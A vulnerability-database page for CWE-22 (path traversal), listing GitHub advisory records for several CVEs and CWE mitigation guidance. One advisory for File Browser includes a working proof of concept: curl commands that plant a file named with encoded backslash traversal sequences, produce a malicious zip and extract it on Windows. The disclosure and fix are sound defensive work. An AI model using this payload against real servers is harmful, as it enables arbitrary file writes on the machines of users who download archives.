CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13217 vulnerabilities reference this CWE, most recent first.
GHSA-GX4Q-M69P-MF52
Vulnerability from github – Published: 2024-11-18 09:31 – Updated: 2024-11-18 09:31The DVC from TRCore has a Path Traversal vulnerability and does not restrict the types of uploaded files. This allows unauthenticated remote attackers to upload arbitrary files to any directory, leading to arbitrary code execution by uploading webshells.
{
"affected": [],
"aliases": [
"CVE-2024-11314"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T07:15:15Z",
"severity": "CRITICAL"
},
"details": "The DVC from TRCore has a Path Traversal vulnerability and does not restrict the types of uploaded files. This allows unauthenticated remote attackers to upload arbitrary files to any directory, leading to arbitrary code execution by uploading webshells.",
"id": "GHSA-gx4q-m69p-mf52",
"modified": "2024-11-18T09:31:12Z",
"published": "2024-11-18T09:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11314"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-8253-bc363-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-8252-91d6a-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GX57-8C8V-6MJ6
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37Flamingo (aka FlamingoIM) through 2020-09-29 allows ../ directory traversal because the only ostensibly unpredictable part of a file-transfer request is an MD5 computation; however, this computation occurs on the client side, and the computation details can be easily determined because the product's source code is available.
{
"affected": [],
"aliases": [
"CVE-2020-35284"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-26T06:15:00Z",
"severity": "HIGH"
},
"details": "Flamingo (aka FlamingoIM) through 2020-09-29 allows ../ directory traversal because the only ostensibly unpredictable part of a file-transfer request is an MD5 computation; however, this computation occurs on the client side, and the computation details can be easily determined because the product\u0027s source code is available.",
"id": "GHSA-gx57-8c8v-6mj6",
"modified": "2022-05-24T17:37:20Z",
"published": "2022-05-24T17:37:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35284"
},
{
"type": "WEB",
"url": "https://github.com/balloonwj/flamingo/issues/48"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GX5R-RF23-F7W4
Vulnerability from github – Published: 2025-01-23 03:30 – Updated: 2025-01-23 03:30BigFix Patch Download Plug-ins are affected by path traversal vulnerability. The application could allow operators to download files from a local repository which is vulnerable to path traversal attacks.
{
"affected": [],
"aliases": [
"CVE-2024-42187"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-23T03:15:09Z",
"severity": "MODERATE"
},
"details": "BigFix Patch Download Plug-ins are affected by path traversal vulnerability. The application could allow operators to download files from a local repository which is vulnerable to path traversal attacks.",
"id": "GHSA-gx5r-rf23-f7w4",
"modified": "2025-01-23T03:30:54Z",
"published": "2025-01-23T03:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42187"
},
{
"type": "WEB",
"url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0118565"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GX8F-77X4-H5J3
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:55An issue was discovered in SSHServerAPI.dll in Progress ipswitch WS_FTP Server 2018 before 8.6.1. Attackers have the ability to abuse a path traversal vulnerability using the SCP protocol. Attackers who leverage this flaw could also obtain remote code execution by crafting a payload that abuses the SITE command feature.
{
"affected": [],
"aliases": [
"CVE-2019-12144"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-11T21:29:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in SSHServerAPI.dll in Progress ipswitch WS_FTP Server 2018 before 8.6.1. Attackers have the ability to abuse a path traversal vulnerability using the SCP protocol. Attackers who leverage this flaw could also obtain remote code execution by crafting a payload that abuses the SITE command feature.",
"id": "GHSA-gx8f-77x4-h5j3",
"modified": "2024-04-04T00:55:06Z",
"published": "2022-05-24T16:47:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12144"
},
{
"type": "WEB",
"url": "https://docs.ipswitch.com/WS_FTP_Server2018/ReleaseNotes/index.htm#49242.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GXC9-77C7-JMQM
Vulnerability from github – Published: 2025-10-17 18:31 – Updated: 2025-10-17 18:31A path traversal vulnerability in all versions of the Windsurf IDE enables a threat actor to read and write arbitrary local files in and outside of current projects on an end user’s system. The vulnerability can be reached directly and through indirect prompt injection.
{
"affected": [],
"aliases": [
"CVE-2025-62353"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-17T16:15:39Z",
"severity": "CRITICAL"
},
"details": "A path traversal vulnerability in all versions of the Windsurf IDE enables a threat actor to read and write arbitrary local files in and outside of current projects on an end user\u2019s system. The vulnerability can be reached directly and through indirect prompt injection.",
"id": "GHSA-gxc9-77c7-jmqm",
"modified": "2025-10-17T18:31:08Z",
"published": "2025-10-17T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62353"
},
{
"type": "WEB",
"url": "https://hiddenlayer.com/sai_security_advisor/2025-10-windsurf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GXF3-5GJM-VCFH
Vulnerability from github – Published: 2022-09-29 00:00 – Updated: 2022-09-29 00:00Smart eVision’s file acquisition function has a path traversal vulnerability due to insufficient filtering for special characters in the URL parameter. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication, access restricted paths to download and delete arbitrary system files to disrupt service.
{
"affected": [],
"aliases": [
"CVE-2022-39033"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-28T04:15:00Z",
"severity": "CRITICAL"
},
"details": "Smart eVision\u2019s file acquisition function has a path traversal vulnerability due to insufficient filtering for special characters in the URL parameter. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication, access restricted paths to download and delete arbitrary system files to disrupt service.",
"id": "GHSA-gxf3-5gjm-vcfh",
"modified": "2022-09-29T00:00:17Z",
"published": "2022-09-29T00:00:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39033"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-6570-9c632-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GXG9-F69X-C3PW
Vulnerability from github – Published: 2022-05-24 17:26 – Updated: 2024-04-04 02:55The Metasploit Framework module "auxiliary/admin/http/telpho10_credential_dump" module is affected by a relative path traversal vulnerability in the untar method which can be exploited to write arbitrary files to arbitrary locations on the host file system when the module is run on a malicious HTTP server.
{
"affected": [],
"aliases": [
"CVE-2020-7377"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-24T19:15:00Z",
"severity": "HIGH"
},
"details": "The Metasploit Framework module \"auxiliary/admin/http/telpho10_credential_dump\" module is affected by a relative path traversal vulnerability in the untar method which can be exploited to write arbitrary files to arbitrary locations on the host file system when the module is run on a malicious HTTP server.",
"id": "GHSA-gxg9-f69x-c3pw",
"modified": "2024-04-04T02:55:54Z",
"published": "2022-05-24T17:26:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7377"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/issues/14015"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GXGH-8P3V-3JVV
Vulnerability from github – Published: 2025-01-14 15:30 – Updated: 2025-01-14 15:30An improper limitation of a pathname to a restricted directory ('path traversal') in Fortinet FortiManager, FortiAnalyzer versions 7.4.0 through 7.4.2 and 7.2.0 through 7.2.5 and 7.0.0 through 7.0.12 and 6.4.0 through 6.4.14 and 6.2.0 through 6.2.12 and 6.0.0 through 6.0.12 allows attacker to execute unauthorized code or commands via crafted HTTP or HTTPs requests.
{
"affected": [],
"aliases": [
"CVE-2024-33502"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T14:15:29Z",
"severity": "MODERATE"
},
"details": "An improper limitation of a pathname to a restricted directory (\u0027path traversal\u0027) in Fortinet FortiManager, FortiAnalyzer versions 7.4.0 through 7.4.2 and 7.2.0 through 7.2.5 and 7.0.0 through 7.0.12 and 6.4.0 through 6.4.14 and 6.2.0 through 6.2.12 and 6.0.0 through 6.0.12 allows attacker to execute unauthorized code or commands via crafted HTTP or HTTPs requests.",
"id": "GHSA-gxgh-8p3v-3jvv",
"modified": "2025-01-14T15:30:52Z",
"published": "2025-01-14T15:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33502"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-143"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GXJ5-H4J6-FMFX
Vulnerability from github – Published: 2025-04-22 18:32 – Updated: 2025-04-22 18:32NVIDIA NeMo Framework contains a vulnerability where an attacker could cause an improper limitation of a pathname to a restricted directory by an arbitrary file write. A successful exploit of this vulnerability might lead to code execution and data tampering.
{
"affected": [],
"aliases": [
"CVE-2025-23250"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-22T16:15:44Z",
"severity": "HIGH"
},
"details": "NVIDIA NeMo Framework contains a vulnerability where an attacker could cause an improper limitation of a pathname to a restricted directory by an arbitrary file write. A successful exploit of this vulnerability might lead to code execution and data tampering.",
"id": "GHSA-gxj5-h4j6-fmfx",
"modified": "2025-04-22T18:32:11Z",
"published": "2025-04-22T18:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23250"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5641"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GXJX-7M74-HCQ8
Vulnerability from github – Published: 2026-06-12 21:53 – Updated: 2026-06-12 21:53Summary
filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.
Details
http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/archives@v0.1.5:
nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
FileInfo: info,
NameInArchive: nameInArchive,
Open: func() (fs.File, error) { return d.user.Fs.Open(path) },
})
On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.
The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.
PoC
Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).
# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"
# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$PW\"}")
# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
-H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'
# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PY
Observed output (verbatim):
mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: True
Server-side, the file exists with a literal backslash name:
-rw-r----- 1 user user 20 ..\..\..\..\..\Windows\System32\evil.txt
The central-directory hex tail 2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973... decodes to ..\..\..\..\..\Windows\Sys....
Negative control — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by path.Clean:
safezone entries: ['normal.txt']
PUT ..%2F..%2Fevil2.txt -> HTTP 301 (collapsed by path.Clean; nothing escapes)
This proves / is handled but \ is the unhandled gap.
To observe the Windows-side traversal effect, extract fb_evil.zip on Windows:
Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force
# 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out
Impact
Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).
Affected versions
All current versions through v2.63.5 (verified against the v2.63.5 release image). The filepath.ToSlash-based normalization in http/raw.go getFiles() is the root cause; github.com/mholt/archives@v0.1.5 passes the name through verbatim.
Suggested fix
Normalize Windows separators out of the in-archive name regardless of host OS, in http/raw.go getFiles() before constructing archives.FileInfo:
nameInArchive = filepath.ToSlash(nameInArchive)
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host
Optionally also reject or sanitize filenames containing \ at create time in http/resource.go so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only filepath.Base likewise failed to strip backslashes on Linux.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.63.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54093"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T21:53:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nfilebrowser builds the download-as-zip / download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\\..\\..\\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted **verbatim** as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\\` as a path separator and write the extracted file **outside** the extraction directory \u2014 arbitrary file write on the victim who downloads and extracts the archive.\n\n### Details\n`http/raw.go` `getFiles()` constructs the in-archive name and passes it to `github.com/mholt/archives@v0.1.5`:\n```go\nnameInArchive := strings.TrimPrefix(path, commonPath)\nnameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))\nnameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites \u0027\\\u0027 on Windows\narchiveFiles = append(archiveFiles, archives.FileInfo{\n FileInfo: info,\n NameInArchive: nameInArchive,\n Open: func() (fs.File, error) { return d.user.Fs.Open(path) },\n})\n```\nOn Linux `filepath.Separator == \u0027/\u0027`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt/archives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip/tar central directory.\n\nThe filename reaches the filesystem because the resource create path (`http/resource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean(\"/\" + ...)`, which treats only `/` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\\` in its name. Any user with the **Create** permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.\n\n### PoC\nDeployed against the official image `filebrowser/filebrowser:v2.63.5` (current release, 2026-05-21).\n\n```bash\n# 1. Deploy\ndocker volume create fb-srv-vol\ndocker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5\n# wait for /health == 200; read the generated admin password from `docker logs fb-poc`\nPW=\"\u003cpassword from docker logs\u003e\"\n\n# 2. Authenticate\nTOK=$(curl -s -X POST http://localhost:8088/api/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)\ncurl -s -o /dev/null -w \"mkdir=%{http_code}\\n\" \\\n -X POST \"http://localhost:8088/api/resources/evilzone/\" -H \"X-Auth: $TOK\"\nFNAME=\u0027..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt\u0027\ncurl -s -o /dev/null -w \"putfile=%{http_code}\\n\" \\\n -X POST \"http://localhost:8088/api/resources/evilzone/${FNAME}?override=true\" \\\n -H \"X-Auth: $TOK\" --data-binary \u0027PWNED-BY-TONGHUAROOT\u0027\n\n# 4. Download the folder as a zip and inspect the entry name\ncurl -s -o /tmp/fb_evil.zip \"http://localhost:8088/api/raw/evilzone?algo=zip\" -H \"X-Auth: $TOK\"\npython3 - \u003c\u003c\u0027PY\u0027\nimport zipfile, binascii\nz = zipfile.ZipFile(\u0027/tmp/fb_evil.zip\u0027)\nprint(\"entries:\", [i.orig_filename for i in z.infolist()])\ndata = open(\u0027/tmp/fb_evil.zip\u0027,\u0027rb\u0027).read()\nidx = data.find(b\u0027PK\\x01\\x02\u0027)\nprint(\"central-dir hex:\", binascii.hexlify(data[idx:idx+72]).decode())\nprint(\"contains 0x5c backslash byte:\", b\u0027\\x5c\u0027 in data[idx:idx+200])\nPY\n```\n\n**Observed output (verbatim):**\n```\nmkdir=200\nputfile=200\nentries: [\u0027..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.txt\u0027]\ncentral-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973\ncontains 0x5c backslash byte: True\n```\nServer-side, the file exists with a literal backslash name:\n```\n-rw-r----- 1 user user 20 ..\\..\\..\\..\\..\\Windows\\System32\\evil.txt\n```\nThe central-directory hex tail `2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973...` decodes to `..\\..\\..\\..\\..\\Windows\\Sys...`.\n\n**Negative control** \u2014 a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by `path.Clean`:\n```\nsafezone entries: [\u0027normal.txt\u0027]\nPUT ..%2F..%2Fevil2.txt -\u003e HTTP 301 (collapsed by path.Clean; nothing escapes)\n```\nThis proves `/` is handled but `\\` is the unhandled gap.\n\nTo observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows:\n```powershell\nExpand-Archive -Path .\\fb_evil.zip -DestinationPath .\\out -Force\n# 7-Zip / WinRAR with default settings honor the ..\\ parents and write outside .\\out\n```\n\n### Impact\nArbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker\u0027s directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root\u0027s parent tree).\n\n### Affected versions\nAll current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http/raw.go` `getFiles()` is the root cause; `github.com/mholt/archives@v0.1.5` passes the name through verbatim.\n\n### Suggested fix\nNormalize Windows separators out of the in-archive name regardless of host OS, in `http/raw.go` `getFiles()` before constructing `archives.FileInfo`:\n```go\nnameInArchive = filepath.ToSlash(nameInArchive)\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\") // strip Windows separators on any host\n```\nOptionally also reject or sanitize filenames containing `\\` at create time in `http/resource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.",
"id": "GHSA-gxjx-7m74-hcq8",
"modified": "2026-06-12T21:53:18Z",
"published": "2026-06-12T21:53:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-gxjx-7m74-hcq8"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/847d08bdd135e5c3659f2e6dea2f0cd36617af9b"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
